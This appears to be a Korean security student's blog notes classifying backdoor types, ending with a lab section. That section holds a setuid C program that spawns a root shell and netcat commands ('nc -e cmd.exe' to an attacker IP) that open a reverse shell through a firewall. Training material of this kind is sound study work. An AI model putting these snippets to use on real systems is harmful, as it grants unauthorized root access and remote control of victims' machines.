3. 백도어 (Backdoor)
1) 정의
- 시스템 접근에 대한 사용자 인증 등 정상적인 절차를 거치지 않고 응용프로그램 또는 시스템에 접근할 수 있도록 하는 프로그램.
- 해킹이 아닌 해킹 성공 후의 후속조치임. (크래커)
- 개발 과정 및 원격에서 문제해결에 필요한 통로이다. (주로 해커 또는 관리자들이 많이 사용)
2) 소개
▣ 로컬 백도어
- 서버의 쉘을 얻어낸 뒤에 관리로 권한 상승을 할 때 사용하는 백도어
- 트랩도어 역시 로컬 백도어라 생각할 수 있음.
- 시스템에 로그인한 뒤에 관리자로 권한상승을 시키기 위한 백도어.
- 단순하게 실행하면 관리자가 됨.
- 단점 : 공격자는 실행하기위한 일반 계정이 하나정도는 필요함.
▣ 원격 백도어
- 원격에서 관리자로 계정과 패스워드를 입력하고 로그인한 것처럼 바로 시스템의 관리자 계정을 얻을 수 있는 백도어.
- 네트워크에 자신의 포트를 항상 열어 놓은 경우가 많음.
- 일종의 서비스를 제공하는 데몬처럼 동작.
- 단순하게 접속만하면 관리자가 됨. (주로 관리자들이 많이 사용)
▣ 원격 GUI 백도어
- 원격 백도어를 사용하기 편하게 GUI로 구성.
- 그러나 원격 백도어보다 많이 사용되지 않음.
- GUI환경의 백도어는 무겁고 많은 데이터를 전송해야 하기 때문에 노출이 되기 쉽기 때문.
▣ Key Logger (패스워드 크래킹 백도어)
- 인증을 회피한다기 보다는 인증에 필요한 패스워드를 원격지의 공격자에게 보내주는 역할을 하는 백도어.
- 사용자가 누르는 키보드의 정보를 원격지에 보내는 경우도 있음.
- 또는 특정 문자열, 즉 'passwd'와 같은 문자열 뒤에 누르는 키보드의 정보를 원격지에 보내는 경우도 존재.
- 단순하게 입력한 키보드 정보들을 다 적어 놓음.
- 단점 : 하나하나 다 적어놓기 때문에 용량이 너무 커질 수도 있음.
- 주로 pc방에서 많이 쓰임.
▣ 시스템 설정 변경
- 원격지의 쉘을 얻어낸다기 보다는 해커가 원하는 대로 시스템의 설정을 변경하기 위한 도구.
- 유닉스에서 프로그램 스케줄러로 사용되는 cron데몬을 이용하는 경우가 많음.
- 예를 들어 컴퓨터를 재부팅하더라도 계속해서 실행을 시켜주거나 프로그램 자신을 계속해서 복제하는 일도 가능.
▣ 트로이 목마형
- 처음부터 백도어를 목적으로 만들어진 프로그램이 아닌데도 백도어로 동작하는 경우.
- 윈도우에서는 웹 브라우저나 명령창, 간단한 게임 등도 백도어와 섞을 수 있음.
- 이렇게 만들어진 백도어를 실행하면 원래 목적의 프로그램도 실행되면서 동시에 백도어도 설치됨.
- 단순하게 내 원래 목적을 다른 프로그램에 숨기는 것.
▣ 거짓 업그레이드
- 윈도우의 업그레이드가 필요하다는 거짓 메일을 통해 유포하는 경우가 많음.
- 요즘은 실제 윈도우의 업데이트 날짜에 맞춰서 메일을 발송하는 경우가 많으니 유의.
▣ 그 외
- 네트워크 데몬이나 시스템 유틸리티를 수정한 백도어
- TCP/IP 프로토콜을 이용한 Shell binding 백도어
- Kernel 모듈을 수정한 백도어
- 방화벽을 우회하는 백도어
☞ 리버스텔넷
3) 활용
▣ 로컬 백도어
- 실행만 하면 관리자가 됨.
- root의 Set UID Bit 필요.
#include <stdio.h> int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; }
- 지난 시간의 예제에서 setgid(0); 이 추가가 됨.
- id 명령어를 치면 현재 uid와 gid가 root계정이 됐음을 알 수 있음.
▣ 원격 백도어 (Port Bind)
- 접속만 하면 관리자가 됨.
- "포트 바인드 백도어" 실행
- 특정 port (12345)를 열고 대기
- 공격자 PC (Windows)로 접속 후 "관리자 권한" 획득
☞ netcat 이라는 별도의 프로그램 필요
☞ 리눅스 서버에 붙게 됨...
▣ 방화벽 우회 백도어 (NetCat) / 리버스텔넷
- 너가 나의 서버에 붙게 해주마.
- 기업들은 인바운드 정책을 강력하게 통제
- 공격시 사용되는 포트들은 무용지물이 될 수 있으므로 우회가 필요함.
① 공격자 입장 : windows에서 cmd로 서버 열기
☞ nc -l -p 8080
☞ 8080 port로 listen 하겠다.
② 희생자 입장 : windows에서 cmd 실행
☞ nc -e cmd.exe [공격자 IP] 8080
☞ 공격자 IP에 8080 port로 cmd를 실행시키며 붙겠다.
- 컴퓨터 2대로 실습을 진행.
☞ 공격자(데스크탑)의 IP주소
☞ 희생자(노트북)의 IP주소
☞ 백도어를 실행 후 공격자(데스크탑)의 cmd창에서 IP 확인
i2sec 대구지점 23기 수료생.
'해킹&보안 > 시스템해킹&보안' 카테고리의 다른 글
쉘 프로그래밍 (0) | 2017.03.16 |
---|---|
[D+5] Backdoor (백도어) (2) (0) | 2017.03.08 |
[D+3] Setuid (권한상승) (0) | 2017.03.06 |
[D+2] 패스워드 크래킹 (2) (3) | 2017.03.05 |
[D+1] 패스워드 크래킹 (1) (0) | 2017.03.02 |